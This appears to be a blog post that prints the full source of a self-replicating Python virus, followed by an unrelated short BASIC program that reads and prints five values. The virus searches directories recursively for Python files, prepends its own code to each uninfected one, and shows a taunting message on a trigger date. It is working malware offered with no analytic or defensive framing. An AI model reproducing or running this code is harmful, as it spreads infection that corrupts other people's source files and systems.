<code>#!/usr/bin/python import os import datetime SIGNATURE = "SIMPLE PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT"S AN EVIL ALUGH BY THE WAY!!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()</code>
05 CLS 10 DIM A(5) 20 FOR I = 1 TO 5 30 INPUT"ENTER VALUE ";N 40 NEXT I 50 PRINT "NOW WE PEINT DATA AS YOU ENTERED" 60 FOR I = 1 TO 5 70 PRINTN ( I ) 80 NEXT I 90 END
Comments
Post a Comment